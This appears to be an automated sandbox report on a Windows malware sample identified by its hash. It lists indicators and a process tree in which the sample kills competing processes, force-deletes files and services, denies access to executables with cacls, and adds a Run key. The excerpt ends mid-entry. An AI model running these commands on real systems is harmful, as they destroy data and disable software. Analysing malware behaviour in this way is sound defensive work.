Token: SeDebugPrivilege	3460	taskkill.exe
Token: SeDebugPrivilege	3436	taskkill.exe
Token: SeDebugPrivilege	2556	taskkill.exe
Token: SeDebugPrivilege	344	taskkill.exe
Token: SeDebugPrivilege	2752	taskkill.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	4540	taskkill.exe
Token: SeDebugPrivilege	3272	taskkill.exe
Token: SeDebugPrivilege	2056	taskkill.exe
Token: SeDebugPrivilege	2916	taskkill.exe
Token: SeDebugPrivilege	3736	taskkill.exe
Token: SeDebugPrivilege	4160	taskkill.exe
Token: SeDebugPrivilege	3692	taskkill.exe
Token: SeDebugPrivilege	4824	taskkill.exe
Token: SeDebugPrivilege	60	taskkill.exe
Token: SeDebugPrivilege	5040	taskkill.exe
Token: SeDebugPrivilege	2720	taskkill.exe
Token: SeDebugPrivilege	1744	taskkill.exe
Token: SeDebugPrivilege	2896	taskkill.exe
Token: SeDebugPrivilege	1712	taskkill.exe
Token: SeDebugPrivilege	5060	taskkill.exe
Token: SeDebugPrivilege	3932	taskkill.exe
Token: SeDebugPrivilege	4756	taskkill.exe
Token: SeDebugPrivilege	1784	taskkill.exe
Token: SeDebugPrivilege	4156	taskkill.exe
Token: SeDebugPrivilege	4716	taskkill.exe
Token: SeDebugPrivilege	2104	taskkill.exe
Token: SeDebugPrivilege	4548	taskkill.exe
Token: SeDebugPrivilege	3320	taskkill.exe
Token: SeDebugPrivilege	3240	taskkill.exe
Token: SeDebugPrivilege	3908	taskkill.exe
Token: SeDebugPrivilege	4072	taskkill.exe
Token: SeDebugPrivilege	60	taskkill.exe
Token: SeDebugPrivilege	4860	taskkill.exe
Token: SeDebugPrivilege	3760	taskkill.exe
Token: SeDebugPrivilege	3020	taskkill.exe
Token: SeDebugPrivilege	4152	taskkill.exe
Token: SeDebugPrivilege	1708	taskkill.exe
Token: SeDebugPrivilege	1004	taskkill.exe
Token: SeDebugPrivilege	344	taskkill.exe
Token: SeDebugPrivilege	4548	taskkill.exe
Token: SeDebugPrivilege	1040	taskkill.exe
Token: SeDebugPrivilege	4320	taskkill.exe
Token: SeDebugPrivilege	4320	taskkill.exe
Token: SeDebugPrivilege	2712	taskkill.exe
Token: SeDebugPrivilege	2220	taskkill.exe
Token: SeDebugPrivilege	3760	taskkill.exe
Token: SeDebugPrivilege	3928	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
5264	SQLAGENTSWE.exe
5264	SQLAGENTSWE.exe
5416	SQLAGENTSWE.exe
5416	SQLAGENTSWE.exe
5980	SQLAGENTSWE.exe
5980	SQLAGENTSWE.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 1720	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	89
PID 1720 wrote to memory of 3368	1720	cmd.exe	91
PID 2360 wrote to memory of 2188	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	92
PID 2188 wrote to memory of 3440	2188	cmd.exe	95
PID 2360 wrote to memory of 220	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	96
PID 220 wrote to memory of 4112	220	cmd.exe	98
PID 2360 wrote to memory of 4236	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	100
PID 2360 wrote to memory of 2436	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	101
PID 2360 wrote to memory of 3608	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	103
PID 2360 wrote to memory of 3484	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	105
PID 2360 wrote to memory of 680	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	108
PID 680 wrote to memory of 2888	680	cmd.exe	110
PID 2360 wrote to memory of 3500	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	111
PID 2360 wrote to memory of 2236	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	112
PID 2360 wrote to memory of 3984	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	113
PID 2360 wrote to memory of 3480	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	114
PID 2360 wrote to memory of 5080	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	119
PID 2360 wrote to memory of 3744	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	121
PID 5080 wrote to memory of 1892	5080	cmd.exe	123
PID 2360 wrote to memory of 720	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	124
PID 3744 wrote to memory of 4892	3744	cmd.exe	262
PID 720 wrote to memory of 1712	720	cmd.exe	429
PID 2360 wrote to memory of 1688	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	128
PID 2360 wrote to memory of 4180	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	363
PID 2360 wrote to memory of 4184	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	321
PID 2360 wrote to memory of 3268	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	440
PID 2360 wrote to memory of 3016	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	136
PID 3016 wrote to memory of 4576	3016	cmd.exe	277
PID 2360 wrote to memory of 4848	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	271
PID 2360 wrote to memory of 3628	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	140
PID 2360 wrote to memory of 5044	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	210
PID 2360 wrote to memory of 4916	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	280
PID 2360 wrote to memory of 548	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	147
PID 2360 wrote to memory of 912	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	148
PID 2360 wrote to memory of 2464	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	149
PID 2360 wrote to memory of 4612	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	153
PID 912 wrote to memory of 1140	912	cmd.exe	445
PID 2464 wrote to memory of 2120	2464	cmd.exe	156
PID 548 wrote to memory of 3328	548	cmd.exe	364
PID 2360 wrote to memory of 4420	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	158
PID 2360 wrote to memory of 3176	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	295
PID 4612 wrote to memory of 64	4612	cmd.exe	473
PID 2360 wrote to memory of 1844	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	163
PID 1844 wrote to memory of 532	1844	cmd.exe	165
PID 2360 wrote to memory of 3484	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	166
PID 2360 wrote to memory of 4932	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	332
PID 2360 wrote to memory of 2132	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	324
PID 2360 wrote to memory of 2300	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	172
PID 2360 wrote to memory of 2396	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	174
PID 2360 wrote to memory of 4236	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	175
PID 2360 wrote to memory of 5008	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	178
PID 2396 wrote to memory of 4480	2396	cmd.exe	241
PID 4236 wrote to memory of 2272	4236	cmd.exe	489
PID 2300 wrote to memory of 4204	2300	cmd.exe	449
PID 5008 wrote to memory of 4976	5008	cmd.exe	450
PID 2360 wrote to memory of 1944	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	503
PID 2360 wrote to memory of 3324	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	447
PID 2360 wrote to memory of 4524	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	188
PID 4524 wrote to memory of 4036	4524	cmd.exe	478
PID 2360 wrote to memory of 3932	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	432
PID 2360 wrote to memory of 3312	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	536
PID 2360 wrote to memory of 3056	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	195
PID 2360 wrote to memory of 3880	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	199
PID 2360 wrote to memory of 2372	2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe	201

C:\Users\Admin\AppData\Local\Temp\2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
"C:\Users\Admin\AppData\Local\Temp\2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe"
1⤵
- Adds policy Run key to start application
- Checks computer location settings
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im wscript.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWD.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im exp1orer.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im exp1orer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4112
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\exp1orer.exe
  2⤵
  PID:4236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\exp1orer.exe
  2⤵
  PID:2436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\exp1orer.exe
  2⤵
  PID:3608
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/exp1orer.exe
  2⤵
  PID:3484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im expl0rer.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:680
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im expl0rer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\expl0rer.exe
  2⤵
  PID:3500
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\expl0rer.exe
  2⤵
  PID:2236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\expl0rer.exe
  2⤵
  PID:3984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/expl0rer.exe
  2⤵
  PID:3480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im mshta.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im powershell.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Nvdskrais.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:720
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdskrais.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%SystemBols\Nvdskrais.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%SystemBols\*
  2⤵
  PID:4180
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\SystemBols\Nvdskrais.exe
  2⤵
  PID:4184
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\SystemBols\*
  2⤵
  PID:3268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im NVDispla64.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im NVDispla64.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4576
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft NctiveStec\NVDispla64.exe
  2⤵
  PID:4848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft NctiveStec\*
  2⤵
  PID:3628
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft NctiveStec\NVDispla64.exe
  2⤵
  PID:5044
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft NctiveStec\NVDispla64.exe
  2⤵
  PID:4916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Nvdskrais.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdskrais.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "NVIDIA windows dribs container"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:912
- - C:\Windows\SysWOW64\sc.exe
    sc delete "NVIDIA windows dribs container"
    3⤵
    - Launches sc.exe
    PID:1140
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "NVIDIA windows dribs container"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\SysWOW64\sc.exe
    sc delete "NVIDIA windows dribs container"
    3⤵
    - Launches sc.exe
    PID:2120
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Diskraid.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Diskraid.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:64
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%SystemBols\Diskraid.exe
  2⤵
  PID:4420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\SystemBols\Diskraid.exe
  2⤵
  PID:3176
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Sqltem64.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sqltem64.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\Sqltem64.exe
  2⤵
  PID:3484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SQL Server\Sqltem64.exe
  2⤵
  PID:4932
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\Sqltem64.exe
  2⤵
  PID:2132
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Diskraid.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Diskraid.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4204
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "dorporati windows dribe diskraid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\SysWOW64\sc.exe
    sc delete "dorporati windows dribe diskraid"
    3⤵
    - Launches sc.exe
    PID:4480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "dorporati windows dribe diskraid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Windows\SysWOW64\sc.exe
    sc delete "dorporati windows dribe diskraid"
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im AppVNice.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5008
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AppVNice.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%SystemBols\AppVNice.exe
  2⤵
  PID:1944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\SystemBols\AppVNice.exe
  2⤵
  PID:3324
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Systen64.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Systen64.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SystelApp\Systen64.exe
  2⤵
  PID:3932
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SystelApp\Systen64.exe
  2⤵
  PID:3312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SystelApp\Systen64.exe
  2⤵
  PID:3056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im AppVNice.exe
  2⤵
  PID:3880
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AppVNice.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Norporati Windows AppVNice"
  2⤵
  PID:2372
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Norporati Windows AppVNice"
    3⤵
    - Launches sc.exe
    PID:3792
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Norporati Windows AppVNice"
  2⤵
  PID:1068
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Norporati Windows AppVNice"
    3⤵
    - Launches sc.exe
    PID:2972
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskger.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3196
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskger.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5044
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\taskger.exe
  2⤵
  PID:4916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\taskger.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgzr.exe
  2⤵
  - Executes a command shell one-liner
  PID:2856
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgzr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\taskmgzr.exe
  2⤵
  PID:1124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\taskmgzr.exe
  2⤵
  PID:2872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\vget.vbs
  2⤵
  PID:2928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\vget.vbs
  2⤵
  - System Location Discovery: System Language Discovery
  PID:684
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im assm.exe
  2⤵
  PID:4532
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im assm.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls assm.exe /t /e /c /d everyone
  2⤵
  - Executes a command shell one-liner
  PID:2908
- - C:\Windows\SysWOW64\cacls.exe
    Cacls assm.exe /t /e /c /d everyone
    3⤵
    PID:4152
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls assm.exe /t /e /c /d system
  2⤵
  - Executes a command shell one-liner
  PID:3856
- - C:\Windows\SysWOW64\cacls.exe
    Cacls assm.exe /t /e /c /d system
    3⤵
    PID:3716
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SqlManagement.exe
  2⤵
  - Executes a command shell one-liner
  PID:1648
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SqlManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SqlManagement.exe /t /e /c /d everyone
  2⤵
  PID:4784
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SqlManagement.exe /t /e /c /d everyone
    3⤵
    PID:1816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SqlManagement.exe /t /e /c /d system
  2⤵
  PID:4436
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SqlManagement.exe /t /e /c /d system
    3⤵
    PID:2108
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SystemManagement.exe
  2⤵
  PID:404
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4480
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SystemManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SystemManagement.exe /t /e /c /d everyone
  2⤵
  PID:552
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SystemManagement.exe /t /e /c /d everyone
    3⤵
    PID:4580
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SystemManagement.exe /t /e /c /d system
  2⤵
  PID:4264
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SystemManagement.exe /t /e /c /d system
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im msinfo.exe
  2⤵
  PID:3500
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msinfo.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls msinfo.exe /t /e /c /d everyone
  2⤵
  PID:1988
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /d everyone
    3⤵
    PID:1776
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls msinfo.exe /t /e /c /d system
  2⤵
  - Executes a command shell one-liner
  PID:2236
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /d system
    3⤵
    PID:2928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im rundlls.exe
  2⤵
  - Executes a command shell one-liner
  PID:1984
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im rundlls.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls rundlls.exe /t /e /c /d everyone
  2⤵
  - Executes a command shell one-liner
  PID:4432
- - C:\Windows\SysWOW64\cacls.exe
    Cacls rundlls.exe /t /e /c /d everyone
    3⤵
    PID:4196
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls rundlls.exe /t /e /c /d system
  2⤵
  PID:2692
- - C:\Windows\SysWOW64\cacls.exe
    Cacls rundlls.exe /t /e /c /d system
    3⤵
    PID:3884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  PID:3036
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4540
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls conhoy.exe /t /e /c /d everyone
  2⤵
  PID:2800
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /d everyone
    3⤵
    PID:1708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls conhoy.exe /t /e /c /d system
  2⤵
  PID:4892
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /d system
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im OmdBase.exe
  2⤵
  PID:4220
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls OmdBase.exe /t /e /c /d everyone
  2⤵
  PID:752
- - C:\Windows\SysWOW64\cacls.exe
    Cacls OmdBase.exe /t /e /c /d everyone
    3⤵
    PID:1728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls OmdBase.exe /t /e /c /d system
  2⤵
  PID:1404
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4848
- - C:\Windows\SysWOW64\cacls.exe
    Cacls OmdBase.exe /t /e /c /d system
    3⤵
    PID:684
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im System.exe
  2⤵
  PID:1936
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3736
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls System.exe /t /e /c /d everyone
  2⤵
  - Executes a command shell one-liner
  PID:4476
- - C:\Windows\SysWOW64\cacls.exe
    Cacls System.exe /t /e /c /d everyone
    3⤵
    PID:3380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls System.exe /t /e /c /d system
  2⤵
  PID:4576
- - C:\Windows\SysWOW64\cacls.exe
    Cacls System.exe /t /e /c /d system
    3⤵
    PID:4932
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spoolys.exe
  2⤵
  - Executes a command shell one-liner
  PID:4916
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spoolys.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im OmdBase.exe
  2⤵
  - Executes a command shell one-liner
  PID:4052
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2056
- C:\Windows\SysWOW64\cmd.exe
